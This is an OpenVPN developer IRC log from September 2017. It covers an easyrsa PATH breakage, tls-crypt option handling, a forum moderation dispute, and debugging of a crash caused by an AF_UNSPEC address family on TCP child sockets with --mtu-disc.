<@plaisthos> I lost all hope in this one 06:25 <@dazo> heh 06:44 <@ordex> :D 06:59 < slypknot> who develops openvpn for iOS ? is it the same as android ? 07:03 <@ordex> tunnelblick ? 07:04 < slypknot> ordex: tunnelblick is mac 07:04 <@ordex> ah i thought also the one for ios was called that way 07:04 < slypknot> i don't think so 07:04 <@ordex> so you mean OpenVPN Connect ? 07:04 < slypknot> something like that 07:04 <@ordex> OpenVPN Connect is developed by OpenVPN Tech 07:05 < slypknot> ahh yes 07:07 < slypknot> considering android is now some 75% of user internet data you would think somebody out there would know how it works and help others on the forum .. but alas nobody has a fucking clue that uses the forum 07:07 < slypknot> and if they do .. all they do is laugh at others 07:34 < slypknot> does iOS inline expect newline(*nix) or CRLF(windblows) for inline certs ? 07:34 < slypknot> wrong channel 07:38 <@cron2_> newline works 07:38 <@cron2_> never tried CRLF 08:11 < slypknot> mattock: https://github.com/OpenVPN/openvpn-build/pull/103 -- removing openvpn from path will break easyrsa* because easyrsa uses PATH to find openssl ...... 08:11 <@vpnHelper> Title: replace EnvVarUpdate.nsh with AddToPath.nsh by chipitsine · Pull Request #103 · OpenVPN/openvpn-build · GitHub (at github.com) 08:42 < slypknot> just built openvpn with upto date openvpn-build .. easyrsa is now broken 08:50 < slypknot> ecrist: ^ 08:50 <@ecrist> slypknot: in what way is easyrsa broken? 08:55 < slypknot> no more path to openssl 08:55 < slypknot> easyrsa now fails from v2 to 303 09:01 <@ecrist> slypknot: we need more information. Can you create an issue and describe what's failing and what you did to produce the problem? 09:01 < slypknot> no 09:01 <@ecrist> ? 09:02 < slypknot> mattock: https://github.com/OpenVPN/openvpn-build/pull/103 -- removing openvpn from path will break easyrsa* because easyrsa uses PATH to find openssl ...... 09:02 <@vpnHelper> Title: replace EnvVarUpdate.nsh with AddToPath.nsh by chipitsine · Pull Request #103 · OpenVPN/openvpn-build · GitHub (at github.com) 09:02 <@ecrist> slypknot: you already posted that here 09:03 < slypknot> thachange breaks all easyrsa versions becuase openvpn is no longer in the path .. it's just a heads up 09:03 <@ecrist> did you comment on that pull request? 09:03 < slypknot> what you want to do about it is up to you 09:03 < slypknot> yes i did 09:40 < slypknot> ecrist: if you haven't done so already, give me an hour and i'll raise a ticket for it on github/easyrsa 09:54 < slypknot> done 10:33 <@ecrist> slypknot: that isn't really an EasyRSA problem, per se 10:55 < slypknot> ecrist: then who's ? 10:57 < slypknot> openvpn package has changed upstream .. so i guess easyrsa has to adapt 11:01 <@ordex> dazo: do you know where this message gets printed in the code? I can't find it: WARNING: 'tls-crypt' is present in remote config but missing in local config, remote='tls-crypt' 11:01 <@ordex> I want to understand why it prints it 11:02 <@ordex> oh found it 11:02 <@ordex> just a lot of %s, so not easy to grep 11:14 <@ordex> syzzer: I believe you forgot to add tls-crypt to options_string() 11:15 <@ordex> thus I get that message above, about mismatching between client and server 11:15 <@ordex> lemme do something .. 11:15 <@ordex> mh there is a comment that i can't fully understand 11:16 <@ordex> syzzer: any chance you could elaborate a little bit about init.c:3644 please? 11:20 < slypknot> ecrist: making the necessary changes to easyrsa 2x or 3x is simple enough and requires only two small lines of code each .. tested and working 11:21 < slypknot> ecrist: mattock: but let's see who is going to take the responibility first .. 11:24 <@ecrist> slypknot: that's not how packaging works 11:25 <@ecrist> the upstream project doesn't change solely because one of the downstream packagers changes how they package it 11:29 <@plaisthos> especially if downstream is Debian and does kind of crazy stuff because they think they are right *ducks* 11:30 <@ordex> plaisthos: :D 11:31 <@ecrist> indeed 11:35 <@ecrist> slypknot: if you have a working patch, submit a pull request and link it to #148 12:06 <@syzzer> ordex: heading for home now - poke me again later if I forget to repond 12:06 <@ordex> syzzer: sure, thanks 13:36 <@cron2_> plaisthos: what do you mean by "think they are right"? 13:36 <@cron2_> Debian people ARE right, by definition, otherwise they wouldn't do Debian but something weaker 13:37 <@ecrist> Linux *is* weaker 13:38 <@cron2_> we're not talking about Debian-on-FreeBSD here :) 13:41 <@ecrist> of course not. 14:16 <@dazo> nah, Debian is only right if it's been through their verbose processes and at least 3 rounds of voting 14:53 < Thermi> Regression time. route-noexec with route-up (maybe uid and group settings play a role) make openvpn not exec the route-up script. 14:53 < Thermi> 2.4.3, x86_64. Arch. 14:54 < Thermi> Either regression or incorrect documentation 15:11 <@dazo> Thermi: if you're using --user/--group, then it smells like lacking privileges ... --route-up would then need a privilege wrapper 15:11 < Thermi> dazo: Err, it's executable by the user 15:11 <@dazo> (sudo, pkexec) 15:12 < Thermi> It only runs a short python application 15:12 < Thermi> I tested it with various other things, no dice. 15:12 <@dazo> okay, so it doesn't try to modify routing tables? 15:12 < Thermi> Even a simple "env" doesn't get executed 15:12 <@dazo> ahh, okay ... that's peculiar 15:12 < Thermi> Well, with route-noexec it obviously shouldn't and it doesn't, but it doesn't run the script either. 15:13 <@dazo> yeah, AFAIR, --route-up should work with --route-noexec 15:13 < Thermi> Well, it seems to execute it when it starts. Hmmh. Damnit, I'm stupid, sorry. 15:13 < Thermi> I thought that hook was executed when a user connected and an iroute was added 15:13 < Thermi> but that's learn-address, right? 15:13 <@dazo> hehe ... that's right :) 15:13 <@dazo> --route-up is more useful on the client side ;-) 15:13 < Thermi> >_> 15:14 < Thermi> Well, yeah. 15:14 < Thermi> I have failover IPv4 and IPv6 tunnels, so I have to switch routes on the fly. 15:14 < Thermi> (On the server side, that is) 15:14 <@dazo> ahh 15:37 <@cron2_> Thermi: there is no "install route on seeing iroute in ccd/" yet, but you can get that effect by using --learn-address 15:38 * cron2_ wants dynamic iroute->route since years, but it's tricky and since --learn-address can get the job done, it's hard to convince the developers that it's a useful feature 15:38 < Thermi> cron2_: I kind of do that and somehow I don't. I store the routes in the privileged script 15:39 < Thermi> I have a shim that does what I need on my Github now, but the latest update - that makes it work better - is not yet there. 15:39 < Thermi> Hard lesson learned: You can never rely on an application logging or printing a line when it's actually supposed to.... 15:39 < Thermi> Even logs lie. 15:39 < Thermi> :( 15:44 < slypknot> logs don't lie politicians do ! 15:44 < Thermi> Both do and both deserve to be crucified 15:45 < slypknot> ha .. but what would we do without logs .. ask a crystal ball ? ;-) 15:45 < Thermi> Just the way it seems to be implemented in python or openvpn is stupid 15:45 < Thermi> I use zmq. 15:45 < Thermi> It couldn't connect - got TCP RST all the time. 15:46 < Thermi> Even print() and fprints to stderr didn't print anything until that was fixed, even though those statements were before the function calls for ZMQ 15:49 < slypknot> always start off with a working VPN and build from there .. then you know it is not the vpn itself 15:49 < Thermi> Errr 15:49 < Thermi> Funnily, I did. Then I had to fix it to make it failover 15:50 < Thermi> I can't influence the logging behaviour (or buffering, ...) of the processes by configuration 15:55 < slypknot> If a log doesn't give you the _expected_ result then something is wrong .. but the log does not lie 15:57 < Thermi> Well, if it's not printed until a socket is open, then it lies. 15:57 < Thermi> It indicated that the script didn't even get started. although it did. 15:57 < Thermi> Btw, I finished it. https://github.com/Thermi/routeSetter 15:57 <@vpnHelper> Title: GitHub - Thermi/routeSetter: client/server application to add routes on behalf of unprivileged processes (at github.com) 16:43 <@dazo> yeah, logs never carry the full truth at all times ... that can bite hard indeed 19:49 <@ordex> syzzer: sorry, but I went to bed :) couldn't ping you from there --- Day changed Wed Sep 06 2017 04:33 -!- danhunsaker [sid145261@openvpn/corp/danhunsaker] has left #openvpn-devel [] 08:13 <@syzzer> ordex: init.c:3644 is code I have not seen or touched before (do_setup_fast_io())? 08:13 <@syzzer> but I didn't add tls-crypt to the options string because I think it doesn't make sense at all 08:13 <@syzzer> tls-crypt must work way before we can even send the options string 08:14 <@syzzer> so why would we add it? Either is matches, or it doesn't work and the code is not run. 08:15 <@ordex> syzzer: I might have been on a different branch and my line number was probably off 08:15 <@ordex> aaaah 08:15 <@ordex> syzzer: makes absolute sense 08:16 <@ordex> and the big question: why removing tls-auth would break things? :D 08:16 <@ordex> maybe because it is there already? 08:16 <@syzzer> it would print warnings 08:16 <@ordex> yeah 08:16 <@syzzer> exactly 08:16 <@ordex> ok 08:16 <@ordex> so we have to keep it 08:16 <@ordex> okok 08:16 <@ordex> thanks for explaining 08:16 <@syzzer> so I'm glad I added the explicit comment that I didn't add tls-crypt there :p 08:16 <@ordex> yesterday night I couldn't grap the statement about the code unreachability 08:16 <@ordex> now it makes sense 08:16 <@syzzer> probably saved you some time 08:16 <@ordex> yes 08:16 <@ordex> it did :) 08:18 <@ordex> thanks! 09:00 < slypknot> mattock ecrist dazo : the forum is throwing some crazy error about tapa-talk 09:00 * ecrist looks 09:13 <@ordex> tapas! 09:14 < slypknot> ordex: are you hungry ? ;) 09:15 <@ordex> just had dinner :P no thanks 09:19 < slypknot> "Windows 10 .. Our most secure Windows to date" .. M$ must have a "Sticky-tape and String" division .. 09:32 <@dazo> well, I am willing to accept that statement. It doesn't mean it's the most secure OS in the world, just that it is the most secure Windows version 09:33 <@dazo> btw ... there is a (I'll admit, controversial) Linux kernel developer - Brad Spender, who even claimed Windows 7 had better security than most of the Linux systems of that time (this was around 2009-10ish, iirc) 09:34 <@dazo> Brad Spengler, is probably his right name, goes under the spender nick ... the guy behind grsecurity 09:42 < slypknot> windows 10 is more secure than windows server 2012 ? or the like .. 09:43 < slypknot> define secure ;) 09:44 <@syzzer> it's hard to measure, but ms made huge security improvements 'lately' (starting with vista) 09:47 <@dazo> slypknot: if you follow MS deployment guides and avoid using the default (where each user can easily have admin privileges) and don't disable UAC etc, you will actually have a quite secure system. But if you use the defaults, there's lots of headroom for improvements. If it in the end is more secure than a Linux system or macOS .... that depends entirely on how those systems have been configured too, but the defaults are usually stricter 09:47 <@dazo> there. 09:47 < slypknot> yeah but when was vista released and how was it recieved ;) 09:47 <@dazo> But as syzzer says, measuring computer security is really hard 09:48 <@dazo> slypknot: yeah, and they actually haven't slacked much down on the security ... they've just made the traps more user friendly 09:48 < slypknot> i know .. just playing devils advocate 09:49 < slypknot> I like openvpn's own security precaution re: CA.key .. Keep it offline or not at all 09:49 < slypknot> that is a stern warning indeed 09:53 <@dazo> yeah, but needed :/ 09:54 < slypknot> and rarely heeded ;) 09:56 <@dazo> heh ... true .... with all those millions of faulty and misguided "get OpenVPN running in 5 minutes" how-tos .... 10:04 < slypknot> what is the most unreliable component of the vast majority of cars ? .. the driver :D .. i bet the same applies to 99% of computer security 10:11 < Thermi> slypknot: It's about the once that *are* the problem. There's no necessity to accept 1% of faulty cards or even lower 10:11 < Thermi> slypknot: You know, people die in car crashes and tidying up after one is very expensive 10:12 < Thermi> The problem with this here is that people don't know enough and it's not easy enough to do it right 10:12 < Thermi> I bet people would more frequently run CAs, if there was an actually good and beautiful GUI application for setting up a secure CA, CRL and OCSP responder. 10:13 < Thermi> Hell, it's not rocket science. The manuals for the tools and the terminology is just not beginner friendly and not easy to understand 10:18 < slypknot> Humans Vs Technology .. Technology has for ever been abused and always will be .. becuase of human nature 10:20 < slypknot> The same guy that put lead in petrol also invented CFCs for refridgeration .. the man who single handedly destroyed more if this planets atmosphere than the rest of us put together ! 10:20 < slypknot> https://en.wikipedia.org/wiki/Thomas_Midgley_Jr. 10:20 <@vpnHelper> Title: Thomas Midgley Jr. - Wikipedia (at en.wikipedia.org) 10:21 < slypknot> two steps forward .. god knows how many backward 10:21 < slypknot> lead in petrol .. like that was a good idea 10:36 <@ecrist> slypknot: the errors are gone 10:37 < Thermi> @cron2_ About the dynamic routes: It would already be very helpful if the iroutes were communicated to the learn-address (or other) script hook via env variables 10:38 < slypknot> ecrist: confirmed .. gone .. cheers :) 10:38 <@ecrist> slypknot: https://forums.openvpn.net/viewtopic.php?p=72658#p72658 10:38 <@vpnHelper> Title: freevpn.me - Installation and setup on Raspberry Pi 3 - OpenVPN Support Forum (at forums.openvpn.net) 10:38 <@ecrist> :\ 10:39 < slypknot> I asked you all about that in the past and you said fine 10:39 < slypknot> I was simply offering them an allternative 10:40 < slypknot> it was not even cryptic but a simple offer 10:40 < slypknot> abh 10:41 < slypknot> personally I don't accept that warning unless you add some context 10:42 < slypknot> in fact i did not even add my contact details to that one .. so your warning is pointless 10:43 < slypknot> ecrist: ^ 10:44 < slypknot> warned for what exactly ? 10:49 <@dazo> slypknot: you have actually guided users far better in the past ... your last post is just pure crap compared to what we know you can do 10:49 <@dazo> slypknot: I'm going to delete that post, as it provides nothing to the discussion 10:50 < slypknot> dazo: which post ? 10:51 <@ecrist> slypknot: what dazo said. your response was snarky and flippant. it does not relfect the spirit of the forum 10:51 <@ecrist> as a moderator, responses such as "use this service or pay me" are not OK 10:51 <@dazo> slypknot: your last reply to that forum thread 10:51 <@dazo> +1 10:51 <@ecrist> And I don't give two shits if you accept the warning or not. 10:51 < slypknot> which post .. you mean the one about freevpn.me ? 10:52 <@dazo> slypknot: yes ... you've done good job on the forum for quite some time and we've been happy about that, so seeing this reply on a forum post was disappointing 10:52 < slypknot> If you wont be clear expect me to misunderstand 10:53 <@dazo> slypknot: what ecrist just said: as a moderator, responses such as "use this service or pay me" are not OK 10:53 <@dazo> I am not sure what is unclear about that 10:53 < slypknot> rubbish .. you are mis quoting me on purpose 10:54 <@ecrist> most notable about this post is it was reported by the user 10:54 < slypknot> we don't support vpn providers 10:54 < slypknot> i offered an alternative 10:55 <@dazo> slypknot: please take an advice now, and we won't make much more noise about it .... take a few hours break. Get some fresh air and some food and drinks ... if you still feel upset about, we can discuss it again 11:00 < slypknot> dazo: your reply is just as obtuce when he clearly cannot provide a server side anything 11:00 < slypknot> i had to add the freevpn.me bit to the title 11:01 < slypknot> as i do for all vpn providers when i spot them 11:01 < slypknot> so other people can either find or ignore them 11:03 <@ecrist> slypknot: you took yourself out of context 11:03 <@ecrist> nowhere is it clear the user is using freevpn.me 11:04 <@ecrist> Your post could have simply been re-worded: We cannot support a third-party hosted VPN solution, since many troubleshooting steps require both client and server side logs. I suggest you contact support for freevpn.me, which appears to be your service provider. 11:04 < slypknot> ecrist: second line of the first post .. 11:04 <@ecrist> That's very different than what you posted. 11:05 <@ecrist> slypknot: sure, but the way you worded things is the problem. 11:05 <@ecrist> even if you had left it at "Contact freevpn.me" that would have been fine 11:05 <@ecrist> The added "or you can pay me if you really want." turned the screws 11:06 < slypknot> oh well .. i added the "if you rewally want" bit as a softener not a threat .. 11:07 < slypknot> never mind 11:07 <@ecrist> did not have the intended affect 11:07 < slypknot> i guess 11:10 < slypknot> The "we don't support X" bit is hard to get right every time .. but i still think the warning is excessive 11:10 < slypknot> could just as easily asked me to delete it 11:10 < slypknot> and then made your point here as you have had to do anyway 11:11 <@dazo> slypknot: Let's look forward now ... you normally do a good job on the forums, and we're happy you are willing to help out! So can we please try to use our energies for something more positive and constructive? 11:12 <@dazo> we felt you overstepped this time, we got a report, we discussed it ... and I believe we've come to something like a kind of understanding ... lets move on, can we? 11:14 < slypknot> I provide essentially a lone voice on the forum .. sometimes i get it wrong .. but in ~7k posts (traffic included) i think that is a good enough record and i don't believe this second warning is warranted as a warning 11:14 < slypknot> simply communicate with me about it 11:14 <@dazo> slypknot: well, if you continue your good work ... I'm sure will just forget about this incident completely 11:14 <@dazo> s/will/we'll/ 11:15 < slypknot> yeah .. well i'm not happy about it 11:15 <@dazo> everyone does mistakes from time to time ... that's okay, as long as we're all willing to move forward 11:17 < slypknot> yeah .. well i'm not happy about a second warning due to an idiot whining about me at all ! 11:17 < slypknot> perhaps i should step down .................... 11:18 < slypknot> let them fend for themselves 11:19 <@dazo> nah, just go out and have little a walk, grab some good tasty food or sweets and drinks .... it'll go just fine :) 11:19 <@ecrist> ++ 11:19 < slypknot> i am not happy about it dazo and that is that 11:22 <@dazo> hmm .... lets try to look at the patch queue again 11:30 <@dazo> gee, ordex you've been busy 13:45 <@cron2_> Termi: it isn't (iroutes -> learn-address)? I thought it would actually call learn-address for every single iroute 13:45 <@cron2_> but I might be mistaken and it was a long time since I tested this 13:59 < Thermi> I can quickly check. 14:01 < Thermi> Well, could be. If it is, then the term "iroute" and a mention of that feature should occur in its description. Right now, the only relevant part is this one: On "add" or "update" methods, if the script returns a failure code (non-zero), OpenVPN will reject the address and will not modify its internal routing table. 14:30 <@vpnHelper> RSS Update - tickets: #933: HTTPS connection crashes OpenVPN server <https://community.openvpn.net/openvpn/ticket/933> 15:36 <@cron2_> "add" can be "a single address" and "a subnet", so I take this is related to iroute 17:19 <@dazo> 9 new patches in the pipe in git master now ... cherry-picking most of them for release/2.4 too 17:57 <@vpnHelper> RSS Update - gitrepo: OpenSSL: Always set SSL_OP_CIPHER_SERVER_PREFERENCE flag <https://github.com/OpenVPN/openvpn/commit/5fd8e94d311825571931414064e4d13ed808f9b5> || Warn that DH config option is only meaningful in a tls-server context <https://github.com/OpenVPN/openvpn/commit/47a0a80b7718fe88451c82bdfe838e5a6e3c4248> || fragment.c: simplify boolean expression <https://github.com/OpenVPN/openvpn/commit/10ae9ed5fe7f09c7edb5af266149 18:27 <@dazo> mattock: I really wonder if the buildbot service needs to be re-subscribed to the openvpn-builds ML 18:57 <@dazo> hmmm ... even mail-archive.com is not updated :/ 18:57 <@dazo> *grrrr* 18:58 * dazo has a growing dislike for sf.net's changes 18:58 <@dazo> ahh, nope .... PEBKAC ... looked at the wrong search page :/ 19:15 < Luqman> The docs mention that for a P_CONTROL packet there might be an HMAC sig field but says the size is "usually 16 or 20 bytes". How can you determine which it is when you receive such a packet or are you expected to know the format before hand? 19:22 <@ordex> dazo: :D 19:27 <@ordex> dazo thanks for checking my restyle patch. I think one problem I had is that I Was not 100% aligned on the style we are using. there must have been some misunderstanding. thus I have configured vim bdly whichlead to that 19:27 <@ordex> dazo: I will recheck the patch and go through uncrustify 19:32 <@dazo> sure, no prob :) 19:33 <@dazo> I'm going to send out another patch soonish too ... covering system vs bundled lz4 a bit differently 19:51 <@ordex> :) yey! 20:32 <@ordex> krzee: you still there? how is the hurricane coming along? --- Day changed Thu Sep 07 2017 00:43 <@ordex> syzzer: when not using AEAD, the key used to sign a packet is also negotiated (or extracted from negotiated key material) ? 00:52 <@ordex> speaking about iroute and learn-address...there is a pending fix about it 00:52 <@ordex> cron2_: ^ 01:05 <@cron2_> ordex: oh, good :) 01:05 <@ordex> good morning ! :) 01:38 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 255 seconds] 01:39 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 01:39 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 02:17 <@ordex> cron2_: I can confirm that ed5d0fe is in since 2.4.0 (talking about the mtu-disc problem / #933) 02:18 <@cron2_> git certainly says so, but then I wonder why it is failing for him in 2.4.2... 02:18 <@ordex> right 02:18 <@ordex> ut consider that in his log there is no warning "Could not determine IPv4/IPv6 protocol." 02:18 <@ordex> thus he is not going that code path 02:19 <@cron2_> but he's using "--mtu-disc maybe" which sounds like an even more obscure variant... 02:19 <@ordex> oh yeah .. I never played with 02:19 <@ordex> who knows what code path he triggered :D for sure it is a nice DoS 02:19 <@ordex> I wonder if it really has to do with being the crwler connecting 02:19 <@ordex> *crawler 02:20 <@ordex> but he says it normally works with standard clients (at least this is what I understood) 02:28 <@ordex> cron2_: it's really possible that this "bug" when unobserved simply because that code is triggered for 171 if (mtu_type >= 0) 02:29 <@ordex> maybe it is not that difficult to reproduce 02:31 <@cron2_> that code is a particular nice example of #ifdef nastiness 02:31 <@cron2_> we don't even know if it's due to not having found IP_MTU_DISCOVER/IPV6_MTU_DISCOVER, or due to proto_af being AF_UNSPEC 02:31 <@cron2_> ("not AF_INET or AF_INET6") 02:32 <@ordex> cron2_: right 02:32 <@ordex> although I assume proto_af being AF_UNSPEC 02:32 <@cron2_> but in any case, this is called way too late for a msg(M_FATAL) 02:33 <@cron2_> this sort of M_FATAL message should only be called on option parsing, not when the daemon is already running and pretending that everything is fine with the config 02:33 <@ordex> I totally agree 02:33 <@cron2_> I would suggest doing two things 02:34 <@cron2_> 1. change the #ifdef to be inside AF_INET, so 02:34 <@cron2_> case AF_INET: 02:34 <@ordex> and if it's a "per-client failure" like it seems to be, then it should just kick the client (can this be a per-client failure?) 02:34 <@cron2_> #if we-have-what-we-need 02:34 <@cron2_> setsockopt()... 02:34 <@cron2_> #else 02:34 <@cron2_> msg(M_WARN, "can't do this for AF_INET") 02:34 <@cron2_> #endif 02:34 <@cron2_> case AF_INET6: 02:34 <@cron2_> <repeat> 02:34 <@cron2_> default: 02:34 <@ordex> agreed. Although I'd make it even cleaner and move the ifdef away from there 02:34 <@cron2_> msg(M_WARN, "proto_af=%d, wtf, this is bah!, proto_af) 02:35 <@ordex> bah! 02:35 <@ordex> right 02:35 <@ordex> :D 02:35 <@cron2_> and 2. do the M_FATAL check in options.c 02:35 <@ordex> we already do 02:35 <@cron2_> we do? 02:35 <@ordex> the problem is that this is a FATAL on the child socket af_family 02:35 <@ordex> we can't check this before a client has connected 02:35 <@ordex> so the FATAL is totally wrong imho 02:36 <@ordex> we already have a fatal on the mtu-desc value parsing 02:36 <@cron2_> we do? where? 02:36 <@ordex> translate_mtu_discover_type_name() 02:37 <@ordex> if that's what you meant 02:37 <@ordex> that parses the mtu-disc value and exit with M_FATAL if the value is unknown 02:37 <@cron2_> yeah, that's what I want :-) 02:37 <@ordex> hehe ok 02:37 <@cron2_> so "2." is "already done" (I looked in options.c, and there wasn't anything) 02:38 <@ordex> as I said, the FATAL we are discussing is mostly non-sense imho ( on the server, but might make sense on the client) 02:38 <@ordex> ah ok :) 02:38 <@ordex> but imho this is triggered by some other bug ... because in the case reported by the forum user, the af_family is AF_INET clearly 02:38 <@ordex> so 02:39 * ordex hands a shovel 02:39 <@ordex> :D 02:39 <@cron2_> right, but with the current logging, we can't say... 02:39 <@ordex> I still wonder why this happens onlt on $some clients 02:39 * cron2_ takes the shovel and sends a patch later today 02:40 <@cron2_> and we might want to get rid of #ifdef HAVE_SETSOCKOPT generally 02:41 <@cron2_> plaisthos introduced code into socket_bind() that does setsockopt() unconditionally, and that hasn't blown up yet, so that #ifdef is totally silly 02:43 <@ordex> yeah 02:43 <@cron2_> socket_set_rcvbuf(int sd, int size) 02:43 <@cron2_> { 02:43 <@cron2_> #if defined(HAVE_SETSOCKOPT) && defined(SOL_SOCKET) && defined(SO_RCVBUF) 02:44 <@cron2_> I can see checking SO_RCVBUF, but anything that is halfway usable has set/getsockopt and SOL_SOCKET... 02:44 <@ordex> well, also SO_RCVBUF no? 02:44 <@ordex> but yeah, we can clean this up..and maybe move this checks in configure? so if somebody really does not have them, will be stopped beforehand ? 02:47 <@cron2_> not sure if there is a system without SO_RCVBUF/SO_SNDBUF, but having only that functionality be missing there would be better than "fail in configure" 02:49 <@cron2_> this is one of the things slightly annoying in testing, as it involves MacOS, AIX, Solaris, NetBSD, OpenBSD. Linux and FreeBSD usually have all the things, and so does Windows (at least wrt setsockopt/getsockopt) 02:49 <@ordex> I see 02:50 <@ordex> btw, speaking about all these systems. do we have any rough stats about how many non linux/freebsd/windows installations we have out ther ? 02:50 <@ordex> there* 02:50 <@ordex> like: "we know that company X and Y uses AIX on some servers" 02:50 <@ordex> cron2_: btw I can easily reproduce the issue here 02:51 <@ordex> and I think the other factor is related to using TCP 02:51 <@ordex> we have a sligthly different code path for the child socket initialization when using TCP 02:51 <@ordex> because with UDP we just inherit everything from the "father" socket, while with TCP we don't. so I guess in that piece of code the family is not initialized 02:51 <@cron2_> no idea about numbers. One of my customers uses AIX and OpenVPN (which is why I did the port :) )... since we get bug reports for Solaris, that's still in use. The OpenBSD developers(!) use OpenVPN :-) 02:51 <@ordex> :D 02:52 <@ordex> cool! 02:52 <@cron2_> mtu-disc for TCP is not a useful function anyway 02:52 <@ordex> that's yet another observations 02:52 <@ordex> many things could be adjusted here 02:52 <@cron2_> "it's TCP, the kernel has to do that anyway, and we do not care" 02:52 <@ordex> hehe 02:52 <@ordex> yeah 02:52 <@cron2_> ok, could you do a quick check what proto_af contains, and why? 02:53 <@ordex> sure 02:53 <@ordex> tracking the code path now 02:53 * ordex throws the bait 02:54 * cron2_ was more thinking of "just print it" :) 02:54 <@ordex> hehe well it is just going to be AF_UNSPEC 02:54 <@ordex> I am checking why we skip the initialization 02:56 <@ordex> cron2_: Thu Sep 7 15:50:45 2017 us=360634 this is AF_UNSPEC bah! 02:56 <@ordex> I added a case AF_UNSPEC: 02:59 <@cron2_> so, what does the backtracker's journey tell you? :-) 03:05 <@ordex> well, for sure I found where in UDP mode we inherit the socket from the father, thus setting the family as well. now I am trying to see where the TCP counterpart should be done 03:05 <@ordex> because if we don't inherit, we create the socket and there the family should be assigned 03:07 <@ordex> I forgot this socket code is a jungle 03:08 <@ordex> yeah, so for CHILD_TCP we do a clean do_link_socket_new(c); 03:08 <@ordex> so we start with a new socket from here 03:08 <@ordex> while for CHILD_UDP we simply pass the pointer of the TOP socket and use it 03:13 <@ordex> cron2_: the child link socket family is initialized with the value in c->options.ce.af, which apparently is never filled with the appropriate value (?) 03:13 <@ordex> cron2_: inthe log from the user you see: Sep 5 09:04:13 jacinth openvpn[22017]: Could not determine IPv4/IPv6 protocol. Using AF_INET 03:13 <@ordex> which is the message moved by the fix you pointed out 03:14 <@ordex> when this fix applies, I think we should also update the value in c->options.ce.af, not only the one in the socket structure 03:14 <@ordex> this way childs can inherit properly 03:14 <@ordex> lemme try 03:15 <@cron2_> right 03:23 <@ordex> everything would be good... IF we didn't have the concept of "one conncetion entry per client" 03:24 <@cron2_> but that context is cloned from the top context, so if the top ce.af is proper, and the cloning ensures ce.af is cloned, it should be good 03:27 <@ordex> cron2_: for some reason we call next_connection_entry() upon creation of a new instance 03:27 <@ordex> and this is basically changing the c->options.ce pointer 03:28 <@ordex> thus I can't "copy over the server socket af family" because c->options.ce.af is not the same anymore 03:28 <@ordex> but why do we call next_connection_entry() for a child instance ? 03:29 <@ordex> that sounds weird 03:29 <@ordex> let me check with gdb 03:31 <@ordex> lol even when we start the server instance and we also increase the unsuccessful connection attempts because we have no remote 03:32 <@ordex> mhhh 03:32 * cron2_ puts his hands before his eyes... "I can't read anything! *lalala*" 03:33 <@ordex> :D 03:33 <@ordex> this is when you should close your laptop and really pretend you have not seen anything 03:35 <@ordex> p c->options.unsuccessful_attempts 03:35 <@ordex> $16 = 2 03:35 <@ordex> :D 03:35 <@ordex> this is just the server receiving its first client connection 03:46 <@ordex> ok, so basically this is messed up, but in the end we always use the same connection_entry. the problem is that next_connection_entry() will always overwrite c->options.ce with the original status obtained after config parsing. thus eliminating the AF guessed value 03:48 <@ordex> so another workaround would be, instead of retrieving the AF family from the server config, openvpn should rather guess it once again with the client (stupid thing, because we can't change socket family when creating a child socket..) 03:48 <@ordex> or, update all the member of all the connection_entry objects after having guessed (but only if we are on a server of course) 03:48 <@ordex> *AF member 03:55 <@cron2_> can we just poke into the sockaddr received from accept() and use the af from there? 04:06 <@ordex> yeah, maybe that's the easiest solution .. but .. meh :S 04:06 <@ordex> we know what he family is supposed to be 04:06 <@ordex> *the 04:07 <@cron2_> we do, but why take the complicated route if we have the data right at our fingertips... 04:08 <@ordex> well, I was trying to avoid the lazy approach and really find the spot where this data can be inherited 04:08 <@ordex> I'll dig some more minutes, if I can't find the spot, I will go for retrieving the family form the client socket directly 04:14 <@ordex> cron2_: I think this is the cleanest fix: http://bpaste.net/show/35369c2eb690 (hopefully ;P) 04:15 <@cron2_> sheesh 04:15 <@cron2_> but yes, this looks reasonable 04:15 <@ordex> here we are exactly inheriting the sd, so it is reasonableto inherit the af family as well 04:15 <@cron2_> (where is accept_from->info set?) 04:15 <@ordex> cron2_: in inherit_context_child() 04:16 <@ordex> when (dest->mode == CM_CHILD_TCP) 04:16 <@ordex> so only for this particular case 04:16 <@cron2_> well, that's the only case where we create per-child sockets, so it should be good enough 04:16 <@ordex> right 04:16 <@ordex> the scope of the change should be very limited to this case 04:18 <@cron2_> a maze of twisty passages... 04:19 <@ordex> I added a larger comment 04:19 <@ordex> https://bpaste.net/show/180e6724a3c0 04:19 <@ordex> yeah 04:20 <@ordex> so many state to keep track of 04:20 <@ordex> *stateS 04:20 <@ordex> this code could be much cleaner if it was made of smaller and simpler functions with clear code paths 04:20 <@ordex> while now it is like a big tunnel where based on the value of this or that variable the result changes 04:21 <@ordex> cron2_: do you think the comment is reasonable? or you want to reword it ? 04:23 <@cron2_> that comment is long, and I think even more confusing 04:23 <@cron2_> maybe just "/* inherit af from parent socket */" 04:23 <@cron2_> or "stored af" 04:24 <@ordex> I wanted to try to convey the "why" because in one month we'll all forget, no? 04:24 <@ordex> inherit "guessed" af from parent socket ? 04:24 <@cron2_> in which case we go to the commit log and check :-) - but that explanation is too short to really explain, and too long to make sense there 04:24 <@ordex> hehe 04:24 <@ordex> right 04:24 <@ordex> yeah you're right about that :P let's cut it short 04:24 <@cron2_> /* inherit (possibly guessed) info AF from parent context */ 04:25 <@ordex> yeah! I like it 04:25 <@cron2_> make that "context" or "socket", what you like, but it's really not the "socket" if we have guessed 04:25 <@ordex> I keep the word "context" 04:34 <@ordex> cron2_: I would say that this is yet another bug introduced by 2bed089d31a12c2, right ? 04:34 <@ordex> the same you mention here: https://community.openvpn.net/openvpn/changeset/ed5d0fe5097a26206a6a7d4463622461a0987655/ 04:34 <@vpnHelper> Title: Changeset ed5d0fe – OpenVPN Community (at community.openvpn.net) 04:40 <@cron2_> well, maybe not "bug introduced" but "made visible" - the "af is AF_UNSPEC" was there before... - but yeah, that's the patch that brought us the "default: M_FATAL" nastiness 04:41 <@ordex> right but .. 04:41 <@ordex> why does your commit message say: "Commit 2bed089d31a12c2 introduced "AF_UNSPEC" sockets" 04:42 <@ordex> ? 04:42 <@ordex> you are right, it was not 2bed089d31a12c2 to actually introduce the AF_UNSPEC 04:43 <@ordex> I think it was 23d61c56b9fd218c39ad151b01b7e2d6690e6093 04:45 <@cron2_> yep 04:46 <@cron2_> seems my commit message was confused 05:01 <@ordex> phew 